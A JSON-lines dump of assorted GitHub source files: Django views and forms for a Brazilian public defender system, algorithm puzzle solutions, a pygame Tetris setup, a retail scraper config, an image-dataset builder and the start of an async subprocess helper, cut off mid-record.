+{"seq_id":"20688670996","text":"# -*- coding: utf-8 -*-\r\n\r\n# Biblioteca Padrao\r\nfrom datetime import datetime\r\n\r\n# Bibliotecas de terceiros\r\nfrom cacheops import cache, CacheMiss\r\nfrom constance import config\r\nfrom django.contrib import messages\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.db.models import Q\r\nfrom django.urls import reverse\r\nfrom django.http import HttpResponse, Http404, JsonResponse\r\nfrom django.views.generic import RedirectView\r\nfrom rest_framework import mixins\r\nfrom rest_framework.permissions import IsAuthenticated\r\nfrom rest_framework.viewsets import GenericViewSet\r\nfrom django.utils.decorators import method_decorator\r\nfrom django.views.decorators.cache import cache_page, never_cache\r\nfrom django.views.decorators.vary import vary_on_headers\r\nfrom defensor.models import Atuacao\r\nfrom processo.processo.models import Acao, Manifestacao, ManifestacaoAviso, Processo\r\n\r\n# Bibliotecas Solar\r\nfrom contrib.models import Comarca\r\nfrom processo.processo.tasks import (\r\n procapi_atualizar_processo,\r\n procapi_atualizar_manifestacao,\r\n procapi_cadastrar_novo_processo_signal,\r\n procapi_distribuir_aviso\r\n)\r\n\r\n# Bibliotecas locais\r\nfrom .services import APIAviso, APIProcesso\r\n\r\nfrom .filters import (\r\n CompetenciaWebserviceFilter,\r\n ProcessoNumeroFilter,\r\n AvisoFilter,\r\n SistemaWebserviceFilter,\r\n ClasseWebserviceFilter,\r\n ComarcaWebserviceFilter,\r\n NumeroProcessoFilter,\r\n CpfDefensorFilter,\r\n CodigoProcapiManifestacaoFilter,\r\n LocalidadeFilter\r\n)\r\n\r\nfrom .services import (\r\n APICompetencia,\r\n APIClasse,\r\n APIAssunto\r\n)\r\n\r\n\r\n@login_required\r\ndef consultar_documento(request, processo_numero, numero_documento):\r\n\r\n atualizar_documento = request.GET.get(\"atualizar_documento\")\r\n processo = APIProcesso(processo_numero, request)\r\n\r\n sucesso, resposta = processo.consultar_documento(\r\n numero_documento=numero_documento,\r\n atualizar_documento=atualizar_documento\r\n )\r\n\r\n if not sucesso:\r\n raise Http404\r\n\r\n # Responde com o conteúdo do documento\r\n if resposta['conteudo']:\r\n response = HttpResponse(content=resposta['conteudo'].encode('latin1'))\r\n response['Content-Type'] = resposta['mimetype']\r\n else:\r\n response = HttpResponse('Conteúdo não disponível para visualização!')\r\n\r\n return response\r\n\r\n\r\n@login_required\r\ndef consultar_processo(request, processo_numero):\r\n\r\n usuario_requisicao = None\r\n if config.PROCAPI_ATIVAR_INFORMAR_PERFIL_PROJUDI:\r\n usuario_requisicao = request.user.servidor.defensor.usuario_eproc\r\n\r\n processo = APIProcesso(processo_numero, request)\r\n sucesso, resposta = processo.consultar(\r\n usuario_requisicao=usuario_requisicao\r\n )\r\n\r\n if sucesso:\r\n\r\n if resposta['classe']:\r\n\r\n acao = Acao.objects.filter(codigo_cnj=resposta['classe']['codigo']).first()\r\n\r\n if acao:\r\n resposta['classe']['inquerito'] = acao.inquerito\r\n resposta['classe']['acao_penal'] = acao.acao_penal\r\n else:\r\n resposta['classe']['inquerito'] = None\r\n resposta['classe']['acao_penal'] = None\r\n\r\n pagina = 1\r\n resposta['partes'] = []\r\n\r\n while pagina > 0:\r\n sucesso_partes, resposta_partes = processo.consultar_partes(pagina=pagina)\r\n resposta['partes'] += resposta_partes['results']\r\n pagina = pagina + 1 if resposta_partes['next'] else 0\r\n\r\n pagina = 1\r\n resposta['eventos'] = []\r\n\r\n while pagina > 0:\r\n sucesso_evento, resposta_evento = processo.consultar_eventos(pagina=pagina)\r\n resposta['eventos'] += resposta_evento['results']\r\n pagina = pagina + 1 if resposta_evento['next'] else 0\r\n\r\n resposta['existe_no_solar'] = Processo.objects.filter(numero_puro=processo_numero, ativo=True).exists()\r\n\r\n resposta = {\r\n 'data': datetime.now(),\r\n 'sucesso': sucesso,\r\n 'mensagem': resposta if not sucesso else None,\r\n 'processo': resposta if sucesso else None,\r\n }\r\n\r\n return JsonResponse(resposta)\r\n\r\n\r\nclass IdentificarDocumentoView(RedirectView):\r\n '''\r\n Identifica documento pelo número do processo e número do evento\r\n '''\r\n def get_redirect_url(self, *args, **kwargs):\r\n\r\n # Consulta dados do evento no ProcAPI\r\n processo = APIProcesso(self.kwargs.get('processo_numero'), self.request)\r\n sucesso, evento = processo.consultar_evento(self.request.GET.get('evento'))\r\n documento = None\r\n\r\n if sucesso:\r\n # Se não tem documentos mas tem eventos relacionados, faz nova consulta no primeiro\r\n # Necessário porque o evento de intimação não possui o documento, mas sim o evento que a originou\r\n if not len(evento['documentos']) and len(evento['eventos']):\r\n sucesso, evento = processo.consultar_evento(evento['eventos'][0])\r\n # Se tem documentos, obtém número do primeiro\r\n if sucesso and len(evento['documentos']):\r\n documento = evento['documentos'][0]['documento']\r\n\r\n # Se o número do documento foi recuperado, redireciona para página de visualização\r\n if documento:\r\n return reverse('eproc_consultar_documento', args=[self.kwargs.get('processo_numero'), documento])\r\n\r\n # Em caso de falhas, retorna URL da busca de processo\r\n messages.error(self.request, 'Não foi possível indentificar o documento!')\r\n return self.request.META.get('HTTP_REFERER', '/')\r\n\r\n\r\nclass ProcapiCompetenciaViewSet(mixins.ListModelMixin, GenericViewSet):\r\n \"\"\"\r\n list:\r\n Retorna uma lista das competências existentes no PROCAPI.\r\n \"\"\"\r\n\r\n permission_classes = [IsAuthenticated]\r\n filter_backends = (SistemaWebserviceFilter,)\r\n\r\n _filter_sistema_webservice = None\r\n\r\n @method_decorator(cache_page(86400)) # cache no navegador de 24 horas\r\n @method_decorator(vary_on_headers(\"Authorization\",))\r\n def list(self, request, *args, **kwargs):\r\n\r\n self._filter_sistema_webservice = self.request.query_params.get('sistema_webservice', None) or None\r\n\r\n api = APICompetencia()\r\n competencias = api.listar_todos(params={\r\n 'sistema_webservice': self._filter_sistema_webservice\r\n })\r\n\r\n return JsonResponse(list(competencias), safe=False)\r\n\r\n\r\nclass ProcapiClasseViewSet(mixins.ListModelMixin, GenericViewSet):\r\n \"\"\"\r\n list:\r\n Retorna uma lista das classes existentes no PROCAPI.\r\n \"\"\"\r\n\r\n permission_classes = [IsAuthenticated]\r\n filter_backends = (\r\n SistemaWebserviceFilter,\r\n CompetenciaWebserviceFilter,\r\n LocalidadeFilter\r\n )\r\n\r\n _filter_sistema_webservice = None\r\n _filter_competencia = None\r\n _filter_codigo_localidade = None\r\n\r\n @method_decorator(cache_page(86400)) # cache no navegador de 24 horas\r\n @method_decorator(vary_on_headers(\"Authorization\",))\r\n def list(self, request, *args, **kwargs):\r\n\r\n self._filter_sistema_webservice = self.request.query_params.get('sistema_webservice', None) or None\r\n self._filter_competencia = self.request.query_params.get('codigo_competencia', None) or None\r\n self._filter_codigo_localidade = self.request.query_params.get('codigo_localidade', None) or None\r\n\r\n # Usa código do TJ como valor padrão para o filtro de comarca (localidade)\r\n if self._filter_codigo_localidade:\r\n comarca = Comarca.objects.get(id=self._filter_codigo_localidade)\r\n if comarca.codigo_eproc:\r\n self._filter_codigo_localidade = comarca.codigo_eproc\r\n\r\n params = {\r\n 'sistema_webservice': self._filter_sistema_webservice,\r\n 'ativo': True\r\n }\r\n\r\n if self._filter_competencia:\r\n params['codigo_competencia'] = self._filter_competencia\r\n\r\n if self._filter_codigo_localidade:\r\n params['codigo_localidade'] = self._filter_codigo_localidade\r\n\r\n api = APIClasse()\r\n classes = api.listar_todos(params=params)\r\n\r\n return JsonResponse(list(classes), safe=False)\r\n\r\n\r\nclass ProcapiAssuntoViewSet(mixins.ListModelMixin, GenericViewSet):\r\n \"\"\"\r\n list:\r\n Retorna uma lista dos assuntos existentes no PROCAPI.\r\n \"\"\"\r\n\r\n permission_classes = [IsAuthenticated]\r\n filter_backends = (\r\n SistemaWebserviceFilter,\r\n CompetenciaWebserviceFilter,\r\n ClasseWebserviceFilter,\r\n LocalidadeFilter\r\n )\r\n\r\n _filter_sistema_webservice = None\r\n _filter_competencia = None\r\n _filter_classe = None\r\n _filter_codigo_localidade = None\r\n\r\n @method_decorator(vary_on_headers(\"Authorization\",))\r\n def list(self, request, *args, **kwargs):\r\n\r\n self._filter_sistema_webservice = self.request.query_params.get('sistema_webservice', None) or None\r\n self._filter_codigo_localidade = self.request.query_params.get('codigo_localidade', None) or None\r\n self._filter_competencia = self.request.query_params.get('codigo_competencia', None) or None\r\n self._filter_classe = self.request.query_params.get('codigo_classe', None) or None\r\n\r\n # TODO: Tentar usar estrutura para CBV: https://pypi.org/project/django-cacheops/\r\n cache_key = 'assunto.listar:{}-{}-{}'.format(self._filter_codigo_localidade, self._filter_competencia, self._filter_classe) # noqa: E501\r\n\r\n # Usa código do TJ como valor padrão para o filtro de comarca (localidade)\r\n if self._filter_codigo_localidade:\r\n comarca = Comarca.objects.get(id=self._filter_codigo_localidade)\r\n if comarca.codigo_eproc:\r\n self._filter_codigo_localidade = comarca.codigo_eproc\r\n\r\n try:\r\n\r\n # Tenta obter dados no cache do redis\r\n cache_data = cache.get(cache_key)\r\n\r\n except CacheMiss:\r\n\r\n # Se não tem dados em cache, faz pesquisa no procapi\r\n params = {\r\n 'sistema_webservice': self._filter_sistema_webservice,\r\n 'ativo': True\r\n }\r\n\r\n if self._filter_competencia:\r\n params['codigo_competencia'] = self._filter_competencia\r\n\r\n if self._filter_classe:\r\n params['codigo_classe'] = self._filter_classe\r\n\r\n if self._filter_codigo_localidade:\r\n params['codigo_localidade'] = self._filter_codigo_localidade\r\n\r\n api = APIAssunto()\r\n assuntos = api.listar_todos(params=params)\r\n\r\n # Recria lista apenas com dados necessários para o frontend\r\n cache_data = [{\r\n 'codigo': assunto['codigo'],\r\n 'nome': assunto[config.PROCAPI_ASSUNTO_CAMPO_EXIBICAO],\r\n } for assunto in list(assuntos)]\r\n\r\n cache.set(cache_key, cache_data, timeout=86400)\r\n\r\n return JsonResponse(cache_data, safe=False)\r\n\r\n\r\nclass ProcapiSignalProcessoViewSet(GenericViewSet):\r\n\r\n permission_classes = [IsAuthenticated]\r\n filter_backends = (NumeroProcessoFilter, CpfDefensorFilter)\r\n _filter_numero_processo = None\r\n _filter_cpf_defensor = None\r\n\r\n @method_decorator(never_cache)\r\n def list(self, request, *args, **kwargs):\r\n\r\n self._filter_numero_processo = self.request.query_params.get('numero_processo', None) or None\r\n self._filter_cpf_defensor = self.request.query_params.get('cpf_defensor', None) or None\r\n grau = self._filter_numero_processo[20:]\r\n\r\n # Se processo existir chama task de atualização\r\n if Processo.objects.filter(\r\n numero_puro=self._filter_numero_processo[:20],\r\n grau=grau,\r\n tipo=Processo.TIPO_EPROC,\r\n pre_cadastro=False\r\n ).exists():\r\n\r\n procapi_atualizar_processo.apply_async(kwargs={\r\n 'numero': self._filter_numero_processo[:20],\r\n 'grau': grau\r\n }, queue='geral')\r\n\r\n return JsonResponse({'sucesso': True})\r\n # Caso contrario chama task para cadastrar novo processo com as partes\r\n else:\r\n procapi_cadastrar_novo_processo_signal.apply_async(kwargs={\r\n 'numero_processo': self._filter_numero_processo[:20],\r\n 'grau': grau,\r\n 'cpf_defensor': self._filter_cpf_defensor\r\n }, queue='default')\r\n\r\n return JsonResponse({'sucesso': True})\r\n\r\n\r\nclass ProcapiAvisoViewSet(mixins.ListModelMixin, GenericViewSet):\r\n \"\"\"\r\n list:\r\n Retorna uma lista dos avisos existentes no PROCAPI.\r\n \"\"\"\r\n\r\n permission_classes = [IsAuthenticated]\r\n filter_backends = (ProcessoNumeroFilter, SistemaWebserviceFilter)\r\n\r\n _filter_processo_numero = None\r\n _filter_sistema_webservice = None\r\n _filter_distribuido_cpf = None\r\n _filter_distribuido_defensoria = None\r\n _filter_manifestacao = None\r\n\r\n @method_decorator(vary_on_headers(\"Authorization\",))\r\n def list(self, request, *args, **kwargs):\r\n\r\n self._filter_processo_numero = self.request.query_params.get('processo_numero', None) or None\r\n self._filter_sistema_webservice = self.request.query_params.get('sistema_webservice', None) or None\r\n self._filter_distribuido_cpf = self.request.query_params.get('distribuido_cpf', None) or None\r\n self._filter_distribuido_defensoria = self.request.query_params.get('distribuido_defensoria', None) or None\r\n self._filter_manifestacao = self.request.query_params.get('manifestacao', None) or None\r\n\r\n if self._filter_manifestacao:\r\n manifestacao = Manifestacao.objects.get(id=self._filter_manifestacao)\r\n else:\r\n manifestacao = Manifestacao(sistema_webservice=self._filter_sistema_webservice)\r\n\r\n prazos = []\r\n\r\n # Consulta no ProcAPI a lista de avisos vinculados ao processo e defensor/defensoria\r\n params = {\r\n 'processo_numero': self._filter_processo_numero,\r\n 'sistema_webservice': manifestacao.sistema_webservice,\r\n 'ativo': True\r\n }\r\n\r\n # identifica defensorias onde o usuario está lotado\r\n defensorias = Atuacao.objects.vigentes(\r\n ajustar_horario=False\r\n ).filter(\r\n defensor=self.request.user.servidor.defensor\r\n )\r\n\r\n if not request.user.is_superuser:\r\n\r\n # identifica atuações dos supervisores do usuário lotado\r\n atuacoes_para_analise = Atuacao.objects.select_related(\r\n 'defensor__servidor',\r\n ).vigentes(\r\n ajustar_horario=False\r\n ).filter(\r\n defensor__eh_defensor=True,\r\n defensoria__in=set(defensorias.values_list('defensoria_id', flat=True)),\r\n defensoria__pode_vincular_processo_judicial=True\r\n )\r\n\r\n if config.VINCULAR_NA_DISTRIBUICAO_AVISO_A_DEFENSOR_AUTOMATICAMENTE:\r\n params['distribuido_cpf'] = ','.join(set(atuacoes_para_analise.values_list('defensor__servidor__cpf', flat=True))) # noqa: E501\r\n elif config.VINCULAR_NA_DISTRIBUICAO_AVISO_A_DEFENSORIA_AUTOMATICAMENTE:\r\n params['distribuido_defensoria'] = ','.join(map(str, set(atuacoes_para_analise.values_list('defensoria_id', flat=True)))) # noqa: E501\r\n\r\n avisos = APIAviso().listar_todos(params)\r\n\r\n # Verifica quais prazos podem ser exibidos na manifestação\r\n for aviso in avisos:\r\n\r\n aviso['selecionado'] = False\r\n\r\n if not aviso['esta_fechado'] or manifestacao.situacao == Manifestacao.SITUACAO_PROTOCOLADO:\r\n # Verifica se prazo está vinculado à manifestação\r\n aviso['selecionado'] = manifestacao.avisos.ativos().filter(numero=aviso['numero']).exists()\r\n\r\n # Verifica se prazo está vinculado à outra manifestação\r\n if not aviso['esta_fechado'] and not aviso['selecionado']:\r\n aviso['esta_fechado'] = ManifestacaoAviso.objects.ativos().filter(\r\n Q(numero=aviso['numero']) &\r\n (\r\n ~Q(manifestacao__situacao=Manifestacao.SITUACAO_ERRO) &\r\n Q(manifestacao__desativado_em=None)\r\n )\r\n ).exists()\r\n\r\n # Se está selecionado ou não está encerrado, adiciona à lista de prazos disponíveis\r\n if aviso['selecionado'] or not aviso['esta_fechado']:\r\n prazos.append(aviso)\r\n\r\n return JsonResponse({'results': prazos}, safe=False)\r\n\r\n\r\nclass ProcapiSignalManifestacaoViewSet(GenericViewSet):\r\n\r\n permission_classes = [IsAuthenticated]\r\n filter_backends = (CodigoProcapiManifestacaoFilter,)\r\n _filter_codigo_procapi = None\r\n\r\n @method_decorator(never_cache)\r\n def list(self, request, *args, **kwargs):\r\n\r\n self._filter_codigo_procapi = self.request.query_params.get('codigo_procapi', None) or None\r\n\r\n manifestacao = Manifestacao.objects.filter(codigo_procapi=self._filter_codigo_procapi)\r\n\r\n if manifestacao.exists():\r\n procapi_atualizar_manifestacao.apply_async(kwargs={\r\n 'id': manifestacao.first().id\r\n }, queue='sobdemanda')\r\n return JsonResponse({'sucesso': True})\r\n else:\r\n return JsonResponse({'sucesso': False})\r\n\r\n\r\nclass ProcapiSignalAvisoViewSet(GenericViewSet):\r\n\r\n permission_classes = [IsAuthenticated]\r\n filter_backends = (\r\n AvisoFilter,\r\n SistemaWebserviceFilter\r\n )\r\n _filter_numero_aviso = None\r\n _filter_sistema_webservice = None\r\n _filter_orgao_julgador = None\r\n\r\n @method_decorator(never_cache)\r\n def list(self, request, *args, **kwargs):\r\n\r\n self._filter_numero_aviso = self.request.query_params.get('numero_aviso', None) or None\r\n self._filter_sistema_webservice = self.request.query_params.get('sistema_webservice', None) or None\r\n self._filter_orgao_julgador = self.request.query_params.get('codigo_orgao_julgador', None) or None\r\n\r\n if self._filter_numero_aviso and self._filter_sistema_webservice:\r\n procapi_distribuir_aviso.apply_async(kwargs={\r\n 'aviso_numero': self._filter_numero_aviso,\r\n 'sistema_webservice': self._filter_sistema_webservice\r\n }, queue='sobdemanda')\r\n\r\n return JsonResponse({'sucesso': True})\r\n else:\r\n return JsonResponse({'sucesso': False})\r\n","repo_name":"SegurancaDPDF/SOLAR-Backend","sub_path":"procapi_client/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":18475,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20136672172","text":"from typing import List, Set, Tuple\n\n\nclass Solution:\n def mostVisitedPattern(self, username: List[str], timestamp: List[int], website: List[str]) -> List[str]:\n user_other = {}\n paths = set()\n path_counter = {}\n for i in range(len(username)):\n if username[i] not in user_other:\n user_other[username[i]] = [(timestamp[i], website[i])]\n else:\n user_other[username[i]] = user_other[username[i]] + [(timestamp[i], website[i])]\n for k in user_other:\n user_other[k].sort(key=lambda x: x[0])\n self.unique_paths(paths, user_other[k], [])\n for p in paths:\n path_counter[p] = path_counter.get(p, 0) + 1\n paths.clear()\n res, count = None, 0\n for p, c in path_counter.items():\n if c > count:\n res = p\n count = c\n elif c == count and res > p:\n res = p\n return res\n\n def unique_paths(self, paths: Set[Tuple[str]], webs, sub):\n if len(sub) == 3:\n t = tuple(sub)\n paths.add(t)\n return\n elif not webs:\n return\n else:\n for i in range(len(webs)):\n self.unique_paths(paths, webs[i + 1:], sub + [webs[i][1]])\n\n\nif __name__ == '__main__':\n username = [\"u1\", \"u1\", \"u1\", \"u2\", \"u2\", \"u2\"]\n timestamp = [1, 2, 3, 4, 5, 6]\n website = [\"a\", \"b\", \"c\", \"a\", \"b\", \"a\"]\n sol = Solution()\n print(sol.mostVisitedPattern(username, timestamp, website))\n","repo_name":"Rocky-Zhenxiang-Fang/LeetCode","sub_path":"1152. Analyze User Website Visit Pattern.py","file_name":"1152. Analyze User Website Visit Pattern.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19641819906","text":"from scheduler.models import MatchDay, PlayerProfile, Team, GuestPlayer, Proposal, Sport\nfrom django.contrib import admin\n\nclass MatchDayAdmin(admin.ModelAdmin):\n fieldsets = [\n (None, {'fields': ['start_date', 'location', 'sport_name']}),\n ('Participants', {'fields': ['participants', 'guest_stars'], 'classes': ['collapse']}),\n ]\n list_display = ('start_date', 'sport_name','location', 'is_future')\n list_filter = ['start_date', 'sport_name']\n search_fields = ['location', 'sport_name']\n date_hierarchy = 'start_date'\n\nclass TeamAdmin(admin.ModelAdmin):\n fieldsets = [\n (None, {'fields': ['name', 'matchday']}),\n ('Participants', {'fields': ['participants', 'guest_stars'], 'classes': ['collapse']}),\n ]\n\nclass GuestPlayerAdmin(admin.ModelAdmin):\n search_fields = ['first_name', 'last_name']\n\nclass SportAdmin(admin.ModelAdmin):\n list_display = ('name', 'active')\n\nclass TeamsInline(admin.TabularInline):\n model = Team\n max_num = 2\n raw_id_fields = ('participants', 'guest_stars')\n\nclass MatchDayAdminWithTeams(MatchDayAdmin):\n inlines = [TeamsInline]\n\nadmin.site.register(MatchDay, MatchDayAdmin)\nadmin.site.register(PlayerProfile)\nadmin.site.register(GuestPlayer, GuestPlayerAdmin)\nadmin.site.register(Team, TeamAdmin)\nadmin.site.register(Proposal)\nadmin.site.register(Sport, SportAdmin)\nadmin.site.unregister(MatchDay)\nadmin.site.register(MatchDay, MatchDayAdminWithTeams)\n\n","repo_name":"rif/elMonumental","sub_path":"scheduler/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"8638038656","text":"import sys\nimport copy\ninput = sys.stdin.readline\n\ndir = [(1, 0), (0, 1), (-1, 0), (0, -1)]\n\n\ndef dfs(board, i, j):\n board[i][j] = 2\n for d in dir:\n nx, ny = i + d[0], j + d[1]\n if 0 <= nx < len(board) and 0 <= ny < len(board[0]) and board[nx][ny] == 0:\n dfs(board, nx, ny)\n\n return\n\n\nh, w = [int(x) for x in input().rstrip().split()]\nboard = []\n\nfor _ in range(h):\n board.append([int(x) for x in input().rstrip().split()])\n\nempty = []\nfor i in range(h):\n for j in range(w):\n if board[i][j] == 0:\n empty.append((i, j))\n\nans = 0\nfor i in range(len(empty)):\n for j in range(i):\n for k in range(j):\n x1, y1 = empty[i]\n x2, y2 = empty[j]\n x3, y3 = empty[k]\n\n tmp_board = copy.deepcopy(board)\n tmp_board[x1][y1] = 1\n tmp_board[x2][y2] = 1\n tmp_board[x3][y3] = 1\n\n count = 0\n for m in range(h):\n for n in range(w):\n if tmp_board[m][n] == 2:\n dfs(tmp_board, m, n)\n # print(tmp_board, i, j, k)\n # if k == 1:\n # sys.exit()\n for x in range(len(tmp_board)):\n for y in range(len(tmp_board[0])):\n if tmp_board[x][y] == 0:\n count += 1\n # print(count)\n ans = max(ans, count)\nprint(ans)\n","repo_name":"yangwooseong/algorithm","sub_path":"boj/14502.py","file_name":"14502.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39160182835","text":"from enum import Enum\n\n\nclass Company(Enum):\n FLIPKART = \"flipkart\"\n AMAZON = \"amazon\",\n CROMA = \"croma\",\n RELIANCE = \"\"\n\ncompanyDetails = {\n Company.FLIPKART: {\n \"url\": \"https://www.flipkart.com/search?q=\",\n \"mainDiv\": \"._1AtVbE.col-12-12\",\n \"name\": \"div._4rR01T\",\n \"image\": \"img._396cs4\", # Add the CSS selector for the image element\n \"price\": \"div._1_WHN1\", # Add the CSS selector for the price element\n },\n Company.AMAZON: {\n \"url\": \"https://www.amazon.in/s?k=\",\n \"mainDiv\": \"div.s-result-item\",\n \"name\": \"span.a-size-medium\",\n \"image\": \"img.s-image\",\n \"price\": \"span.a-price-whole\",\n }, Company.CROMA: {\n \"url\": \"https://www.croma.com/search/?text=\",\n \"mainDiv\": \"ul.search-productList > li\",\n \"name\": \".product__name\",\n \"image\": \".product-image img\",\n \"price\": \".price .pdpPrice\",\n },Company.RELIANCE:{\n \"url\": \"https://www.reliancedigital.in/search?q=\",\n \"mainDiv\": \"li.pl__container__sp\",\n \"name\": \"p.sp__name\",\n \"image\": \"div.lazy-load-image-background img\",\n \"price\": \"span.TextWeb__Text-sc-1cyx778-0\",\n }\n}\n","repo_name":"dhruvdesmond/dentira","sub_path":"service/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71925457852","text":"from django.forms import ModelForm\n\nfrom models import Usuario\nfrom usuario.queries import QueryUser\n\nclass UsuarioForm(ModelForm):\n class Meta():\n model = Usuario\n\nclass ProfesorForm():\n def __init__(self, request, accion=\"nuevo\", profesorid=\"\"):\n self.usuario = Usuario()\n self.accion = accion\n self.request= request\n self.profesorid = profesorid\n self.obligatorios = [\"nombre\", \"apellidos\", \"usuarioUJI\", \"rol\"]\n \n self.usuarioForm = UsuarioForm()\n if self.accion == \"editar\" :\n self.usuarioForm = UsuarioForm(instance = QueryUser().getUserByUserUJI(profesorid))\n \n if (request.method == \"POST\" ):\n self.usuarioForm = UsuarioForm(request.POST, instance=self.usuario)\n \n def is_valid(self):\n self.muestraErrorUsuario = True\n esValido = self.usuarioForm.is_valid()\n if ( not esValido and self.accion == \"editar\"):\n if ( self.usuarioForm.data[\"usuarioUJI\"] == self.profesorid ):\n self.muestraErrorUsuario= False\n if len(self.usuarioForm.errors)==1:\n esValido = True\n \n return esValido\n \n def save(self):\n if (self.accion == \"nuevo\"):\n self.creaUsuario()\n else:\n self.editaUsuario()\n \n def creaUsuario(self):\n self.usuario.save()\n \n def editaUsuario(self):\n usuarioDB = QueryUser().getUserByUserUJI(self.profesorid)\n usuarioDB.nombre = self.usuario.nombre\n usuarioDB.apellidos = self.usuario.apellidos\n usuarioDB.usuarioUJI = self.usuario.usuarioUJI\n usuarioDB.rol = self.usuario.rol\n usuarioDB.save()","repo_name":"landreup/UJI","sub_path":"usuario/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"2805577961","text":"import pygame\nimport random\nfrom Sprite import Sprite\nfrom GameField import GameField\nfrom BlockObject import BlockObject\n\nclass GameContext(object):\n def __init__(self):\n self.player= Sprite()\n self.rightDown=False\n self.leftDown=False\n self.upDown=False\n self.downDown=False\n self.rotR=False\n self.rotL=False\n self.ticks=pygame.time.get_ticks()\n self.frameticks=0\n self.frametime=0\n self.downcount=1/0.033\n self.inputdown=0\n self.sprites = [23,84,103,122,141,160,179]\n self.lineDown = []\n self.lineDownCycle = 0\n self.blockTypes = [\n [#long\n [[0,1,0,0],[0,1,0,0],[0,1,0,0],[0,1,0,0]],\n [[0,0,0,0],[1,1,1,1],[0,0,0,0],[0,0,0,0]]\n ],\n\n [#pyra\n [[0,0,0],[1,1,1],[0,1,0]],\n [[0,1,0],[1,1,0],[0,1,0]],\n [[0,1,0],[1,1,1],[0,0,0]],\n [[0,1,0],[0,1,1],[0,1,0]]\n ],\n [#block\n [[1,1],[1,1]],\n ],\n\n [#L\n [[0,0,0],[1,1,1],[0,0,1]],\n [[0,1,0],[0,1,0],[1,1,0]],\n [[1,0,0],[1,1,1],[0,0,0]],\n [[0,1,1],[0,1,0],[0,1,0]],\n ],\n [#inverseL\n [[0,0,0],[1,1,1],[1,0,0]],\n [[1,1,0],[0,1,0],[0,1,0]],\n [[0,0,1],[1,1,1],[0,0,0]],\n [[0,1,0],[0,1,0],[0,1,1]],\n ],\n [#z\n [[0,0,0],[1,1,0],[0,1,1]],\n [[0,1,0],[1,1,0],[1,0,0]]\n ],\n [#inverse z\n [[0,0,0],[0,1,1],[1,1,0]],\n [[0,1,0],[0,1,1],[0,0,1]]\n ],\n \n ]\n self.field = GameField(100,100)\n self.RandomNewBlock();\n\n\n def RandomNewBlock(self):\n\n random_item = random.choice(self.blockTypes)\n self.currentBlock = BlockObject(random_item,self.field.sx,self.field.sy,\n self.sprites[self.blockTypes.index(random_item)]\n )\n def SetCurrentBlock(self,i):\n\n self.currentBlock = BlockObject(self.blockTypes[i],\n self.field.sx,\n self.field.sy,\n \n \n self.sprites[i])\n\n\n\n","repo_name":"progsen/skillbranch","sub_path":"PyGameTutorial/GameContext.py","file_name":"GameContext.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"5025906517","text":"# https://leetcode.com/problems/search-in-rotated-sorted-array/\n\nfrom typing import List\n\nclass Solution:\n def search(self, nums: List[int], target: int) -> int:\n l, r = 0, nums.__len__() - 1\n\n while l <= r:\n m = (l + r) // 2\n\n if nums[l] == target:\n return l\n if nums[r] == target:\n return r\n if nums[m] == target:\n return m\n\n if nums[l] <= nums[m]:\n if nums[l] <= target and target <= nums[m]:\n r = m -1\n else:\n l = m + 1\n else:\n if nums[m] <= target and target <= nums[r]:\n l = m + 1\n else:\n r = m - 1\n\n return -1\n\n\n\nif __name__ == '__main__':\n obj = Solution()\n nums = [4, 5, 6, 7, 0, 1, 2]\n target = 5\n print(obj.search(nums, target))","repo_name":"shuffle-true/LeetCodeProblems","sub_path":"Sorting and Searching/SearchinRotatedArray.py","file_name":"SearchinRotatedArray.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4191726892","text":"import os\n\ndef parse_ctg(ctg):\n\tif '.' in ctg:\n\t\tctg = ctg[ctg.find('.') + 1:]\n\tif '-101' in ctg:\n\t\tctg = ctg[:ctg.find('-101')]\n\tif '_' in ctg:\n\t\tctg = '-'.join(ctg.split('_'))\n\treturn ctg\n\ndef gen_db():\n\tf = open('dataset.csv', 'w+')\n\timg_count = 0\n\n\tdir_list = ['256_ObjectCategories']\n\tos.mkdir('.images')\n\tfor db in dir_list:\n\t\tctg_list = next(os.walk(db + '/.'))[1]\n\t\tctg_list.sort()\n\t\tfor c in ctg_list:\n\t\t\tctg = parse_ctg(c)\n\t\t\tfor img in os.listdir(db + '/' + c):\n\t\t\t\tif '.jpg' in img:\n\t\t\t\t\tos.system('cp ' + db + '/' + c + '/' + img + ' .images/' + str(img_count) + '.jpg')\n\t\t\t\t\tf.write(str(img_count) + '.jpg' + ',' + ctg + '\\n')\n\t\t\t\t\timg_count += 1\n\tf.close()\n\nif __name__ == '__main__':\n\tgen_db()\n","repo_name":"rgoomes/mini-google","sub_path":"server/gen_db.py","file_name":"gen_db.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20392717130","text":"import asyncio\nimport logging\nimport os\nimport traceback\nimport typing\nfrom api.types import Result\n\nlogger = logging.getLogger(__name__)\n\n\nasync def run(*args, **kwargs):\n \"\"\"\n Run a subprocess command using asyncio, and return a dict with the stdout and stderr\n as `{\"output\": stdout, \"error\": stderr}`.\n \"\"\"\n # Create subprocess\n logger.debug('run: %r', args)\n try:\n process = await asyncio.create_subprocess_exec(\n *args,\n stdout=asyncio.subprocess.PIPE,\n stderr=asyncio.subprocess.PIPE,\n **kwargs\n )\n # Wait for the subprocess to finish\n stdout, stderr = await process.communicate()\n\n # Return stdout, stderr (both str)\n result = Result(\n 